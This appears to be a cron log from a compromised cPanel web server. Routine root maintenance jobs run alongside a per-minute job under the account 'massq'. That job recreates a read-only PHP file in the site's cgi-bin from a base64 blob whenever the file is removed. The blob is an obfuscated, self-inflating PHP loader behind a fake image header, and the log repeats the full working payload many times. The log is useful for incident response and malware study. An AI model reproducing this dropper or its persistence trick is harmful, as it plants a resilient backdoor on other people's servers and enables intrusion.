Sep  4 04:04:01 server CROND[12472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:04:01 server CROND[12473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:04:01 server CROND[12474]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:05:01 server CROND[12863]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 04:05:01 server CROND[12871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:05:01 server CROND[12873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:05:01 server CROND[12877]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:05:01 server CROND[12879]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 04:05:01 server CROND[12881]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 04:05:01 server CROND[12878]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 04:05:01 server CROND[12883]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 04:06:01 server CROND[13731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:06:01 server CROND[13732]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:06:01 server CROND[13733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:07:01 server CROND[14214]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:07:01 server CROND[14216]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:07:01 server CROND[14215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:08:01 server CROND[14598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:08:01 server CROND[14599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:08:01 server CROND[14600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:09:01 server CROND[14975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:09:01 server CROND[14976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:09:01 server CROND[14978]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:09:01 server CROND[14977]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 04:10:01 server CROND[15373]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 04:10:01 server CROND[15375]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 04:10:01 server CROND[15382]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 04:10:01 server CROND[15389]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:10:01 server CROND[15388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:10:01 server CROND[15387]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 04:10:01 server CROND[15391]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 04:10:01 server CROND[15399]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:11:01 server CROND[16243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:11:01 server CROND[16244]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:11:01 server CROND[16245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:12:01 server CROND[16717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:12:01 server CROND[16715]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:12:01 server CROND[16718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:12:01 server CROND[16716]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 04:13:01 server CROND[17104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:13:01 server CROND[17105]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:13:01 server CROND[17106]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:14:01 server CROND[17491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:14:01 server CROND[17492]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:14:01 server CROND[17493]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:15:01 server CROND[17950]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 04:15:01 server CROND[17951]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 04:15:01 server CROND[17956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:15:01 server CROND[17962]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  4 04:15:01 server CROND[17960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:15:01 server CROND[17965]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
